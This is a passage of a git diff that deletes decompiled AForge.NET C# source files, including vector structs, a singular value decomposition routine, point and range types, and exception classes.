"{0}, {1}, {2}", new object[3] { X, Y, Z }); - } - - public float[] ToArray() - { - return new float[3] { X, Y, Z }; - } - - public static Vector3 operator +(Vector3 vector1, Vector3 vector2) - { - return new Vector3(vector1.X + vector2.X, vector1.Y + vector2.Y, vector1.Z + vector2.Z); - } - - public static Vector3 Add(Vector3 vector1, Vector3 vector2) - { - return vector1 + vector2; - } - - public static Vector3 operator +(Vector3 vector, float value) - { - return new Vector3(vector.X + value, vector.Y + value, vector.Z + value); - } - - public static Vector3 Add(Vector3 vector, float value) - { - return vector + value; - } - - public static Vector3 operator -(Vector3 vector1, Vector3 vector2) - { - return new Vector3(vector1.X - vector2.X, vector1.Y - vector2.Y, vector1.Z - vector2.Z); - } - - public static Vector3 Subtract(Vector3 vector1, Vector3 vector2) - { - return vector1 - vector2; - } - - public static Vector3 operator -(Vector3 vector, float value) - { - return new Vector3(vector.X - value, vector.Y - value, vector.Z - value); - } - - public static Vector3 Subtract(Vector3 vector, float value) - { - return vector - value; - } - - public static Vector3 operator *(Vector3 vector1, Vector3 vector2) - { - return new Vector3(vector1.X * vector2.X, vector1.Y * vector2.Y, vector1.Z * vector2.Z); - } - - public static Vector3 Multiply(Vector3 vector1, Vector3 vector2) - { - return vector1 * vector2; - } - - public static Vector3 operator *(Vector3 vector, float factor) - { - return new Vector3(vector.X * factor, vector.Y * factor, vector.Z * factor); - } - - public static Vector3 Multiply(Vector3 vector, float factor) - { - return vector * factor; - } - - public static Vector3 operator /(Vector3 vector1, Vector3 vector2) - { - return new Vector3(vector1.X / vector2.X, vector1.Y / vector2.Y, vector1.Z / vector2.Z); - } - - public static Vector3 Divide(Vector3 vector1, Vector3 vector2) - { - return vector1 / vector2; - } - - public static Vector3 operator /(Vector3 vector, float factor) - { - return new Vector3(vector.X / factor, vector.Y / factor, vector.Z / factor); - } - - public static Vector3 Divide(Vector3 vector, float factor) - { - return vector / factor; - } - - public static bool operator ==(Vector3 vector1, Vector3 vector2) - { - if (vector1.X == vector2.X && vector1.Y == vector2.Y) - { - return vector1.Z == vector2.Z; - } - return false; - } - - public static bool operator !=(Vector3 vector1, Vector3 vector2) - { - if (vector1.X == vector2.X && vector1.Y == vector2.Y) - { - return vector1.Z != vector2.Z; - } - return true; - } - - public bool Equals(Vector3 vector) - { - if (vector.X == X && vector.Y == Y) - { - return vector.Z == Z; - } - return false; - } - - public override bool Equals(object obj) - { - if (obj is Vector3) - { - return Equals((Vector3)obj); - } - return false; - } - - public override int GetHashCode() - { - return X.GetHashCode() + Y.GetHashCode() + Z.GetHashCode(); - } - - public float Normalize() - { - float num = (float)System.Math.Sqrt(X * X + Y * Y + Z * Z); - float num2 = 1f / num; - X *= num2; - Y *= num2; - Z *= num2; - return num; - } - - public Vector3 Inverse() - { - return new Vector3((X == 0f) ? 0f : (1f / X), (Y == 0f) ? 0f : (1f / Y), (Z == 0f) ? 0f : (1f / Z)); - } - - public Vector3 Abs() - { - return new Vector3(System.Math.Abs(X), System.Math.Abs(Y), System.Math.Abs(Z)); - } - - public static Vector3 Cross(Vector3 vector1, Vector3 vector2) - { - return new Vector3(vector1.Y * vector2.Z - vector1.Z * vector2.Y, vector1.Z * vector2.X - vector1.X * vector2.Z, vector1.X * vector2.Y - vector1.Y * vector2.X); - } - - public static float Dot(Vector3 vector1, Vector3 vector2) - { - return vector1.X * vector2.X + vector1.Y * vector2.Y + vector1.Z * vector2.Z; - } - - public Vector4 ToVector4() - { - return new Vector4(X, Y, Z, 1f); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/Vector4.cs b/output/Libraries/AForge.Math/AForge/Math/Vector4.cs deleted file mode 100644 index 9d27ddd..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/Vector4.cs +++ /dev/null @@ -1,295 +0,0 @@ -using System; -using System.Globalization; - -namespace AForge.Math; - -[Serializable] -public struct Vector4 -{ - public float X; - - public float Y; - - public float Z; - - public float W; - - public float Max - { - get - { - float num = ((X > Y) ? X : Y); - float num2 = ((Z > W) ? Z : W); - if (!(num > num2)) - { - return num2; - } - return num; - } - } - - public float Min - { - get - { - float num = ((X < Y) ? X : Y); - float num2 = ((Z < W) ? Z : W); - if (!(num < num2)) - { - return num2; - } - return num; - } - } - - public int MaxIndex - { - get - { - float num = 0f; - float num2 = 0f; - int num3 = 0; - int num4 = 0; - if (X >= Y) - { - num = X; - num3 = 0; - } - else - { - num = Y; - num3 = 1; - } - if (Z >= W) - { - num2 = Z; - num4 = 2; - } - else - { - num2 = W; - num4 = 3; - } - if (!(num >= num2)) - { - return num4; - } - return num3; - } - } - - public int MinIndex - { - get - { - float num = 0f; - float num2 = 0f; - int num3 = 0; - int num4 = 0; - if (X <= Y) - { - num = X; - num3 = 0; - } - else - { - num = Y; - num3 = 1; - } - if (Z <= W) - { - num2 = Z; - num4 = 2; - } - else - { - num2 = W; - num4 = 3; - } - if (!(num <= num2)) - { - return num4; - } - return num3; - } - } - - public float Norm => (float)System.Math.Sqrt(X * X + Y * Y + Z * Z + W * W); - - public float Square => X * X + Y * Y + Z * Z + W * W; - - public Vector4(float x, float y, float z, float w) - { - X = x; - Y = y; - Z = z; - W = w; - } - - public Vector4(float value) - { - X = (Y = (Z = (W = value))); - } - - public override string ToString() - { - return string.Format(CultureInfo.InvariantCulture, "{0}, {1}, {2}, {3}", X, Y, Z, W); - } - - public float[] ToArray() - { - return new float[4] { X, Y, Z, W }; - } - - public static Vector4 operator +(Vector4 vector1, Vector4 vector2) - { - return new Vector4(vector1.X + vector2.X, vector1.Y + vector2.Y, vector1.Z + vector2.Z, vector1.W + vector2.W); - } - - public static Vector4 Add(Vector4 vector1, Vector4 vector2) - { - return vector1 + vector2; - } - - public static Vector4 operator +(Vector4 vector, float value) - { - return new Vector4(vector.X + value, vector.Y + value, vector.Z + value, vector.W + value); - } - - public static Vector4 Add(Vector4 vector, float value) - { - return vector + value; - } - - public static Vector4 operator -(Vector4 vector1, Vector4 vector2) - { - return new Vector4(vector1.X - vector2.X, vector1.Y - vector2.Y, vector1.Z - vector2.Z, vector1.W - vector2.W); - } - - public static Vector4 Subtract(Vector4 vector1, Vector4 vector2) - { - return vector1 - vector2; - } - - public static Vector4 operator -(Vector4 vector, float value) - { - return new Vector4(vector.X - value, vector.Y - value, vector.Z - value, vector.W - value); - } - - public static Vector4 Subtract(Vector4 vector, float value) - { - return vector - value; - } - - public static Vector4 operator *(Vector4 vector1, Vector4 vector2) - { - return new Vector4(vector1.X * vector2.X, vector1.Y * vector2.Y, vector1.Z * vector2.Z, vector1.W * vector2.W); - } - - public static Vector4 Multiply(Vector4 vector1, Vector4 vector2) - { - return vector1 * vector2; - } - - public static Vector4 operator *(Vector4 vector, float factor) - { - return new Vector4(vector.X * factor, vector.Y * factor, vector.Z * factor, vector.W * factor); - } - - public static Vector4 Multiply(Vector4 vector, float factor) - { - return vector * factor; - } - - public static Vector4 operator /(Vector4 vector1, Vector4 vector2) - { - return new Vector4(vector1.X / vector2.X, vector1.Y / vector2.Y, vector1.Z / vector2.Z, vector1.W / vector2.W); - } - - public static Vector4 Divide(Vector4 vector1, Vector4 vector2) - { - return vector1 / vector2; - } - - public static Vector4 operator /(Vector4 vector, float factor) - { - return new Vector4(vector.X / factor, vector.Y / factor, vector.Z / factor, vector.W / factor); - } - - public static Vector4 Divide(Vector4 vector, float factor) - { - return vector / factor; - } - - public static bool operator ==(Vector4 vector1, Vector4 vector2) - { - if (vector1.X == vector2.X && vector1.Y == vector2.Y && vector1.Z == vector2.Z) - { - return vector1.W == vector2.W; - } - return false; - } - - public static bool operator !=(Vector4 vector1, Vector4 vector2) - { - if (vector1.X == vector2.X && vector1.Y == vector2.Y && vector1.Z == vector2.Z) - { - return vector1.W != vector2.W; - } - return true; - } - - public bool Equals(Vector4 vector) - { - if (vector.X == X && vector.Y == Y && vector.Z == Z) - { - return vector.W == W; - } - return false; - } - - public override bool Equals(object obj) - { - if (obj is Vector4) - { - return Equals((Vector4)obj); - } - return false; - } - - public override int GetHashCode() - { - return X.GetHashCode() + Y.GetHashCode() + Z.GetHashCode() + W.GetHashCode(); - } - - public float Normalize() - { - float num = (float)System.Math.Sqrt(X * X + Y * Y + Z * Z + W * W); - float num2 = 1f / num; - X *= num2; - Y *= num2; - Z *= num2; - W *= num2; - return num; - } - - public Vector4 Inverse() - { - return new Vector4((X == 0f) ? 0f : (1f / X), (Y == 0f) ? 0f : (1f / Y), (Z == 0f) ? 0f : (1f / Z), (W == 0f) ? 0f : (1f / W)); - } - - public Vector4 Abs() - { - return new Vector4(System.Math.Abs(X), System.Math.Abs(Y), System.Math.Abs(Z), System.Math.Abs(W)); - } - - public static float Dot(Vector4 vector1, Vector4 vector2) - { - return vector1.X * vector2.X + vector1.Y * vector2.Y + vector1.Z * vector2.Z + vector1.W * vector2.W; - } - - public Vector3 ToVector3() - { - return new Vector3(X / W, Y / W, Z / W); - } -} diff --git a/output/Libraries/AForge.Math/AForge/Math/svd.cs b/output/Libraries/AForge.Math/AForge/Math/svd.cs deleted file mode 100644 index a90efda..0000000 --- a/output/Libraries/AForge.Math/AForge/Math/svd.cs +++ /dev/null @@ -1,336 +0,0 @@ -using System; - -namespace AForge.Math; - -internal class svd -{ - public static void svdcmp(double[,] a, out double[] w, out double[,] v) - { - int length = a.GetLength(0); - int length2 = a.GetLength(1); - if (length < length2) - { - throw new ArgumentException("Number of rows in A must be greater or equal to number of columns"); - } - w = new double[length2]; - v = new double[length2, length2]; - int num = 0; - int num2 = 0; - double[] array = new double[length2]; - double num5; - double num4; - double num3 = (num4 = (num5 = 0.0)); - for (int i = 0; i < length2; i++) - { - num = i + 1; - array[i] = num4 * num3; - double num6; - num3 = (num6 = (num4 = 0.0)); - if (i < length) - { - for (int j = i; j < length; j++) - { - num4 += System.Math.Abs(a[j, i]); - } - if (num4 != 0.0) - { - for (int j = i; j < length; j++) - { - a[j, i] /= num4; - num6 += a[j, i] * a[j, i]; - } - double num7 = a[i, i]; - num3 = 0.0 - Sign(System.Math.Sqrt(num6), num7); - double num8 = num7 * num3 - num6; - a[i, i] = num7 - num3; - if (i != length2 - 1) - { - for (int k = num; k < length2; k++) - { - num6 = 0.0; - for (int j = i; j < length; j++) - { - num6 += a[j, i] * a[j, k]; - } - num7 = num6 / num8; - for (int j = i; j < length; j++) - { - a[j, k] += num7 * a[j, i]; - } - } - } - for (int j = i; j < length; j++) - { - a[j, i] *= num4; - } - } - } - w[i] = num4 * num3; - num3 = (num6 = (num4 = 0.0)); - if (i < length && i != length2 - 1) - { - for (int j = num; j < length2; j++) - { - num4 += System.Math.Abs(a[i, j]); - } - if (num4 != 0.0) - { - for (int j = num; j < length2; j++) - { - a[i, j] /= num4; - num6 += a[i, j] * a[i, j]; - } - double num7 = a[i, num]; - num3 = 0.0 - Sign(System.Math.Sqrt(num6), num7); - double num8 = num7 * num3 - num6; - a[i, num] = num7 - num3; - for (int j = num; j < length2; j++) - { - array[j] = a[i, j] / num8; - } - if (i != length - 1) - { - for (int k = num; k < length; k++) - { - num6 = 0.0; - for (int j = num; j < length2; j++) - { - num6 += a[k, j] * a[i, j]; - } - for (int j = num; j < length2; j++) - { - a[k, j] += num6 * array[j]; - } - } - } - for (int j = num; j < length2; j++) - { - a[i, j] *= num4; - } - } - } - num5 = System.Math.Max(num5, System.Math.Abs(w[i]) + System.Math.Abs(array[i])); - } - for (int i = length2 - 1; i >= 0; i--) - { - if (i < length2 - 1) - { - if (num3 != 0.0) - { - for (int k = num; k < length2; k++) - { - v[k, i] = a[i, k] / a[i, num] / num3; - } - for (int k = num; k < length2; k++) - { - double num6 = 0.0; - for (int j = num; j < length2; j++) - { - num6 += a[i, j] * v[j, k]; - } - for (int j = num; j < length2; j++) - { - v[j, k] += num6 * v[j, i]; - } - } - } - for (int k = num; k < length2; k++) - { - v[i, k] = (v[k, i] = 0.0); - } - } - v[i, i] = 1.0; - num3 = array[i]; - num = i; - } - for (int i = length2 - 1; i >= 0; i--) - { - num = i + 1; - num3 = w[i]; - if (i < length2 - 1) - { - for (int k = num; k < length2; k++) - { - a[i, k] = 0.0; - } - } - if (num3 != 0.0) - { - num3 = 1.0 / num3; - if (i != length2 - 1) - { - for (int k = num; k < length2; k++) - { - double num6 = 0.0; - for (int j = num; j < length; j++) - { - num6 += a[j, i] * a[j, k]; - } - double num7 = num6 / a[i, i] * num3; - for (int j = i; j < length; j++) - { - a[j, k] += num7 * a[j, i]; - } - } - } - for (int k = i; k < length; k++) - { - a[k, i] *= num3; - } - } - else - { - for (int k = i; k < length; k++) - { - a[k, i] = 0.0; - } - } - a[i, i] += 1.0; - } - for (int j = length2 - 1; j >= 0; j--) - { - for (int l = 1; l <= 30; l++) - { - int num9 = 1; - for (num = j; num >= 0; num--) - { - num2 = num - 1; - if (System.Math.Abs(array[num]) + num5 == num5) - { - num9 = 0; - break; - } - if (System.Math.Abs(w[num2]) + num5 == num5) - { - break; - } - } - double num10; - double num6; - double num7; - double num8; - double num11; - double num12; - if (num9 != 0) - { - num10 = 0.0; - num6 = 1.0; - for (int i = num; i <= j; i++) - { - num7 = num6 * array[i]; - if (System.Math.Abs(num7) + num5 != num5) - { - num3 = w[i]; - num8 = Pythag(num7, num3); - w[i] = num8; - num8 = 1.0 / num8; - num10 = num3 * num8; - num6 = (0.0 - num7) * num8; - for (int k = 1; k <= length; k++) - { - num11 = a[k, num2]; - num12 = a[k, i]; - a[k, num2] = num11 * num10 + num12 * num6; - a[k, i] = num12 * num10 - num11 * num6; - } - } - } - } - num12 = w[j]; - if (num == j) - { - if (num12 < 0.0) - { - w[j] = 0.0 - num12; - for (int k = 0; k < length2; k++) - { - v[k, j] = 0.0 - v[k, j]; - } - } - break; - } - if (l == 30) - { - throw new ApplicationException("No convergence in 30 svdcmp iterations"); - } - double num13 = w[num]; - num2 = j - 1; - num11 = w[num2]; - num3 = array[num2]; - num8 = array[j]; - num7 = ((num11 - num12) * (num11 + num12) + (num3 - num8) * (num3 + num8)) / (2.0 * num8 * num11); - num3 = Pythag(num7, 1.0); - num7 = ((num13 - num12) * (num13 + num12) + num8 * (num11 / (num7 + Sign(num3, num7)) - num8)) / num13; - num10 = (num6 = 1.0); - for (int k = num; k <= num2; k++) - { - int i = k + 1; - num3 = array[i]; - num11 = w[i]; - num8 = num6 * num3; - num3 = num10 * num3; - num12 = (array[k] = Pythag(num7, num8)); - num10 = num7 / num12; - num6 = num8 / num12; - num7 = num13 * num10 + num3 * num6; - num3 = num3 * num10 - num13 * num6; - num8 = num11 * num6; - num11 *= num10; - for (int m = 0; m < length2; m++) - { - num13 = v[m, k]; - num12 = v[m, i]; - v[m, k] = num13 * num10 + num12 * num6; - v[m, i] = num12 * num10 - num13 * num6; - } - num12 = Pythag(num7, num8); - w[k] = num12; - if (num12 != 0.0) - { - num12 = 1.0 / num12; - num10 = num7 * num12; - num6 = num8 * num12; - } - num7 = num10 * num3 + num6 * num11; - num13 = num10 * num11 - num6 * num3; - for (int m = 0; m < length; m++) - { - num11 = a[m, k]; - num12 = a[m, i]; - a[m, k] = num11 * num10 + num12 * num6; - a[m, i] = num12 * num10 - num11 * num6; - } - } - array[num] = 0.0; - array[j] = num7; - w[j] = num13; - } - } - } - - private static double Sign(double a, double b) - { - if (!(b >= 0.0)) - { - return 0.0 - System.Math.Abs(a); - } - return System.Math.Abs(a); - } - - private static double Pythag(double a, double b) - { - double num = System.Math.Abs(a); - double num2 = System.Math.Abs(b); - if (num > num2) - { - double num3 = num2 / num; - return num * System.Math.Sqrt(1.0 + num3 * num3); - } - if (num2 > 0.0) - { - double num3 = num / num2; - return num2 * System.Math.Sqrt(1.0 + num3 * num3); - } - return 0.0; - } -} diff --git a/output/Libraries/AForge.Math/Properties/AssemblyInfo.cs b/output/Libraries/AForge.Math/Properties/AssemblyInfo.cs deleted file mode 100644 index 2f7b22e..0000000 --- a/output/Libraries/AForge.Math/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: AssemblyTitle("AForge.Math")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("AForge")] -[assembly: AssemblyProduct("AForge.NET")] -[assembly: AssemblyCopyright("AForge © 2012")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: Guid("34dc1605-0542-49e2-b72b-89363706b71a")] -[assembly: AssemblyFileVersion("2.2.5.0")] -[assembly: AssemblyVersion("2.2.5.0")] diff --git a/output/Libraries/AForge/AForge.csproj b/output/Libraries/AForge/AForge.csproj deleted file mode 100644 index 2cc8825..0000000 --- a/output/Libraries/AForge/AForge.csproj +++ /dev/null @@ -1,14 +0,0 @@ - - - AForge - False - net20 - - - 12.0 - True - - - - - \ No newline at end of file diff --git a/output/Libraries/AForge/AForge/CommunicationBufferEventArgs.cs b/output/Libraries/AForge/AForge/CommunicationBufferEventArgs.cs deleted file mode 100644 index 59f3b17..0000000 --- a/output/Libraries/AForge/AForge/CommunicationBufferEventArgs.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; - -namespace AForge; - -public class CommunicationBufferEventArgs : EventArgs -{ - private readonly byte[] message; - - private readonly int index; - - private readonly int length; - - public int MessageLength => length; - - public CommunicationBufferEventArgs(byte[] message) - { - this.message = message; - index = 0; - length = message.Length; - } - - public CommunicationBufferEventArgs(byte[] buffer, int index, int length) - { - message = buffer; - this.index = index; - this.length = length; - } - - public byte[] GetMessage() - { - byte[] array = new byte[length]; - Array.Copy(message, index, array, 0, length); - return array; - } - - public string GetMessageString() - { - return BitConverter.ToString(message, index, length); - } -} diff --git a/output/Libraries/AForge/AForge/ConnectionFailedException.cs b/output/Libraries/AForge/AForge/ConnectionFailedException.cs deleted file mode 100644 index 04b9259..0000000 --- a/output/Libraries/AForge/AForge/ConnectionFailedException.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System; - -namespace AForge; - -public class ConnectionFailedException : Exception -{ - public ConnectionFailedException(string message) - : base(message) - { - } -} diff --git a/output/Libraries/AForge/AForge/ConnectionLostException.cs b/output/Libraries/AForge/AForge/ConnectionLostException.cs deleted file mode 100644 index b93dcf0..0000000 --- a/output/Libraries/AForge/AForge/ConnectionLostException.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System; - -namespace AForge; - -public class ConnectionLostException : Exception -{ - public ConnectionLostException(string message) - : base(message) - { - } -} diff --git a/output/Libraries/AForge/AForge/DeviceBusyException.cs b/output/Libraries/AForge/AForge/DeviceBusyException.cs deleted file mode 100644 index 6400ab1..0000000 --- a/output/Libraries/AForge/AForge/DeviceBusyException.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System; - -namespace AForge; - -public class DeviceBusyException : Exception -{ - public DeviceBusyException(string message) - : base(message) - { - } -} diff --git a/output/Libraries/AForge/AForge/DeviceErrorException.cs b/output/Libraries/AForge/AForge/DeviceErrorException.cs deleted file mode 100644 index 9e50d0c..0000000 --- a/output/Libraries/AForge/AForge/DeviceErrorException.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System; - -namespace AForge; - -public class DeviceErrorException : Exception -{ - public DeviceErrorException(string message) - : base(message) - { - } -} diff --git a/output/Libraries/AForge/AForge/DoublePoint.cs b/output/Libraries/AForge/AForge/DoublePoint.cs deleted file mode 100644 index da7a833..0000000 --- a/output/Libraries/AForge/AForge/DoublePoint.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System; -using System.Globalization; - -namespace AForge; - -[Serializable] -public struct DoublePoint -{ - public double X; - - public double Y; - - public DoublePoint(double x, double y) - { - X = x; - Y = y; - } - - public double DistanceTo(DoublePoint anotherPoint) - { - double num = X - anotherPoint.X; - double num2 = Y - anotherPoint.Y; - return Math.Sqrt(num * num + num2 * num2); - } - - public double SquaredDistanceTo(DoublePoint anotherPoint) - { - double num = X - anotherPoint.X; - double num2 = Y - anotherPoint.Y; - return num * num + num2 * num2; - } - - public static DoublePoint operator +(DoublePoint point1, DoublePoint point2) - { - return new DoublePoint(point1.X + point2.X, point1.Y + point2.Y); - } - - public static DoublePoint Add(DoublePoint point1, DoublePoint point2) - { - return new DoublePoint(point1.X + point2.X, point1.Y + point2.Y); - } - - public static DoublePoint operator -(DoublePoint point1, DoublePoint point2) - { - return new DoublePoint(point1.X - point2.X, point1.Y - point2.Y); - } - - public static DoublePoint Subtract(DoublePoint point1, DoublePoint point2) - { - return new DoublePoint(point1.X - point2.X, point1.Y - point2.Y); - } - - public static DoublePoint operator +(DoublePoint point, double valueToAdd) - { - return new DoublePoint(point.X + valueToAdd, point.Y + valueToAdd); - } - - public static DoublePoint Add(DoublePoint point, double valueToAdd) - { - return new DoublePoint(point.X + valueToAdd, point.Y + valueToAdd); - } - - public static DoublePoint operator -(DoublePoint point, double valueToSubtract) - { - return new DoublePoint(point.X - valueToSubtract, point.Y - valueToSubtract); - } - - public static DoublePoint Subtract(DoublePoint point, double valueToSubtract) - { - return new DoublePoint(point.X - valueToSubtract, point.Y - valueToSubtract); - } - - public static DoublePoint operator *(DoublePoint point, double factor) - { - return new DoublePoint(point.X * factor, point.Y * factor); - } - - public static DoublePoint Multiply(DoublePoint point, double factor) - { - return new DoublePoint(point.X * factor, point.Y * factor); - } - - public static DoublePoint operator /(DoublePoint point, double factor) - { - return new DoublePoint(point.X / factor, point.Y / factor); - } - - public static DoublePoint Divide(DoublePoint point, double factor) - { - return new DoublePoint(point.X / factor, point.Y / factor); - } - - public static bool operator ==(DoublePoint point1, DoublePoint point2) - { - if (point1.X == point2.X) - { - return point1.Y == point2.Y; - } - return false; - } - - public static bool operator !=(DoublePoint point1, DoublePoint point2) - { - if (point1.X == point2.X) - { - return point1.Y != point2.Y; - } - return true; - } - - public override bool Equals(object obj) - { - if (!(obj is DoublePoint)) - { - return false; - } - return this == (DoublePoint)obj; - } - - public override int GetHashCode() - { - return X.GetHashCode() + Y.GetHashCode(); - } - - public static explicit operator IntPoint(DoublePoint point) - { - return new IntPoint((int)point.X, (int)point.Y); - } - - public static explicit operator Point(DoublePoint point) - { - return new Point((float)point.X, (float)point.Y); - } - - public IntPoint Round() - { - return new IntPoint((int)Math.Round(X), (int)Math.Round(Y)); - } - - public override string ToString() - { - return string.Format(CultureInfo.InvariantCulture, "{0}, {1}", new object[2] { X, Y }); - } - - public double EuclideanNorm() - { - return Math.Sqrt(X * X + Y * Y); - } -} diff --git a/output/Libraries/AForge/AForge/DoubleRange.cs b/output/Libraries/AForge/AForge/DoubleRange.cs deleted file mode 100644 index f951301..0000000 --- a/output/Libraries/AForge/AForge/DoubleRange.cs +++ /dev/null @@ -1,125 +0,0 @@ -using System; -using System.Globalization; - -namespace AForge; - -[Serializable] -public struct DoubleRange -{ - private double min; - - private double max; - - public double Min - { - get - { - return min; - } - set - { - min = value; - } - } - - public double Max - { - get - { - return max; - } - set - { - max = value; - } - } - - public double Length => max - min; - - public DoubleRange(double min, double max) - { - this.min = min; - this.max = max; - } - - public bool IsInside(double x) - { - if (x >= min) - { - return x <= max; - } - return false; - } - - public bool IsInside(DoubleRange range) - { - if (IsInside(range.min)) - { - return IsInside(range.max); - } - return false; - } - - public bool IsOverlapping(DoubleRange range) - { - if (!IsInside(range.min) && !IsInside(range.max) && !range.IsInside(min)) - { - return range.IsInside(max); - } - return true; - } - - public IntRange ToIntRange(bool provideInnerRange) - { - int num; - int num2; - if (provideInnerRange) - { - num = (int)Math.Ceiling(min); - num2 = (int)Math.Floor(max); - } - else - { - num = (int)Math.Floor(min); - num2 = (int)Math.Ceiling(max); - } - return new IntRange(num, num2); - } - - public static bool operator ==(DoubleRange range1, DoubleRange range2) - { - if (range1.min == range2.min) - { - return range1.max == range2.max; - } - return false; - } - - public static bool operator !=(DoubleRange range1, DoubleRange range2) - { - if (range1.min == range2.min) - { - return range1.max != range2.max; - } - return true; - } - - public override bool Equals(object obj) - { - if (!(obj is Range)) - { - return false; - } - return this == (DoubleRange)obj; - } - - public override int GetHashCode() - { - return min.GetHashCode() + max.GetHashCode(); - } - - public override string ToString() - { - return string.Format(CultureInfo.InvariantCulture, "{0}, {1}", new object[2] { min, max }); - } -} diff --git a/output/Libraries/AForge/AForge/IntPoint.cs b/output/Libraries/AForge/AForge/IntPoint.cs deleted file mode 100644 index e9dc8e4..0000000 --- a/output/Libraries/AForge/AForge/IntPoint.cs +++ /dev/null @@ -1,144 +0,0 @@ -using System; -using System.Globalization; - -namespace AForge; - -[Serializable] -public struct IntPoint -{ - public int X; - - public int Y; - - public IntPoint(int x, int y) - { - X = x; - Y = y; - } - - public float DistanceTo(IntPoint anotherPoint) - { - int num = X - anotherPoint.X; - int num2 = Y - anotherPoint.Y; - return (float)Math.Sqrt(num * num + num2 * num2); - } - - public float SquaredDistanceTo(Point anotherPoint) - { - float num = (float)X - anotherPoint.X; - float num2 = (float)Y - anotherPoint.Y; - return num * num + num2 * num2; - } - - public static IntPoint operator +(IntPoint point1, IntPoint point2) - { - return new IntPoint(point1.X + point2.X, point1.Y + point2.Y); - } - - public static IntPoint Add(IntPoint point1, IntPoint point2) - { - return new IntPoint(point1.X + point2.X, point1.Y + point2.Y); - } - - public static IntPoint operator -(IntPoint point1, IntPoint point2) - { - return new IntPoint(point1.X - point2.X, point1.Y - point2.Y); - } - - public static IntPoint Subtract(IntPoint point1, IntPoint point2) - { - return new IntPoint(point1.X - point2.X, point1.Y - point2.Y); - } - - public static IntPoint operator +(IntPoint point, int valueToAdd) - { - return new IntPoint(point.X + valueToAdd, point.Y + valueToAdd); - } - - public static IntPoint Add(IntPoint point, int valueToAdd) - { - return new IntPoint(point.X + valueToAdd, point.Y + valueToAdd); - } - - public static IntPoint operator -(IntPoint point, int valueToSubtract) - { - return new IntPoint(point.X - valueToSubtract, point.Y - valueToSubtract); - } - - public static IntPoint Subtract(IntPoint point, int valueToSubtract) - { - return new IntPoint(point.X - valueToSubtract, point.Y - valueToSubtract); - } - - public static IntPoint operator *(IntPoint point, int factor) - { - return new IntPoint(point.X * factor, point.Y * factor); - } - - public static IntPoint Multiply(IntPoint point, int factor) - { - return new IntPoint(point.X * factor, point.Y * factor); - } - - public static IntPoint operator /(IntPoint point, int factor) - { - return new IntPoint(point.X / factor, point.Y / factor); - } - - public static IntPoint Divide(IntPoint point, int factor) - { - return new IntPoint(point.X / factor, point.Y / factor); - } - - public static bool operator ==(IntPoint point1, IntPoint point2) - { - if (point1.X == point2.X) - { - return point1.Y == point2.Y; - } - return false; - } - - public static bool operator !=(IntPoint point1, IntPoint point2) - { - if (point1.X == point2.X) - { - return point1.Y != point2.Y; - } - return true; - } - - public override bool Equals(object obj) - { - if (!(obj is IntPoint)) - { - return false; - } - return this == (IntPoint)obj; - } - - public override int GetHashCode() - { - return X.GetHashCode() + Y.GetHashCode(); - } - - public static implicit operator Point(IntPoint point) - { - return new Point(point.X, point.Y); - } - - public static implicit operator DoublePoint(IntPoint point) - { - return new DoublePoint(point.X, point.Y); - } - - public override string ToString() - { - return string.Format(CultureInfo.InvariantCulture, "{0}, {1}", new object[2] { X, Y }); - } - - public float EuclideanNorm() - { - return (float)Math.Sqrt(X * X + Y * Y); - } -} diff --git a/output/Libraries/AForge/AForge/IntRange.cs b/output/Libraries/AForge/AForge/IntRange.cs deleted file mode 100644 index 0f7e546..0000000 --- a/output/Libraries/AForge/AForge/IntRange.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using System.Globalization; - -namespace AForge; - -[Serializable] -public struct IntRange -{ - private int min; - - private int max; - - public int Min - { - get - { - return min; - } - set - { - min = value; - } - } - - public int Max - { - get - { - return max; - } - set - { - max = value; - } - } - - public int Length => max - min; - - public IntRange(int min, int max) - { - this.min = min; - this.max = max; - } - - public bool IsInside(int x) - { - if (x >= min) - { - return x <= max; - } - return false; - } - - public bool IsInside(IntRange range) - { - if (IsInside(range.min)) - { - return IsInside(range.max); - } - return false; - } - - public bool IsOverlapping(IntRange range) - { - if (!IsInside(range.min) && !IsInside(range.max) && !range.IsInside(min)) - { - return range.IsInside(max); - } - return true; - } - - public static implicit operator Range(IntRange range) - { - return new Range(range.Min, range.Max); - } - - public static bool operator ==(IntRange range1, IntRange range2) - { - if (range1.min == range2.min) - { - return range1.max == range2.max; - } - return false; - } - - public static bool operator !=(IntRange range1, IntRange range2) - { - if (range1.min == range2.min) - { - return range1.max != range2.max; - } - return true; - } - - public override bool Equals(object obj) - { - if (!(obj is IntRange)) - { - return false; - } - return this == (IntRange)obj; - } - - public override int GetHashCode() - { - return min.GetHashCode() + max.GetHashCode(); - } - - public override string ToString() - { - return string.Format(CultureInfo.InvariantCulture, "{0}, {1}", new object[2] { min, max }); - } -} diff --git a/output/Libraries/AForge/AForge/MessageTransferHandler.cs b/output/Libraries/AForge/AForge/MessageTransferHandler.cs deleted file mode 100644 index bf0f333..0000000 --- a/output/Libraries/AForge/AForge/MessageTransferHandler.cs +++ /dev/null @@ -1,3 +0,0 @@ -namespace AForge; - -public delegate void MessageTransferHandler(object sender, CommunicationBufferEventArgs eventArgs); diff --git a/output/Libraries/AForge/AForge/NotConnectedException.cs b/output/Libraries/AForge/AForge/NotConnectedException.cs deleted file mode 100644 index 1f75e19..0000000 --- a/output/Libraries/AForge/AForge/NotConnectedException.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System; - -namespace AForge; - -public class NotConnectedException : Exception -{ - public NotConnectedException(string message) - : base(message) - { - } -} diff --git a/output/Libraries/AForge/AForge/Parallel.cs b/output/Libraries/AForge/AForge/Parallel.cs deleted file mode 100644 index ff710dd..0000000 --- a/output/Libraries/AForge/AForge/Parallel.cs +++ /dev/null @@ -1,141 +0,0 @@ -using System; -using System.Threading; - -namespace AForge; - 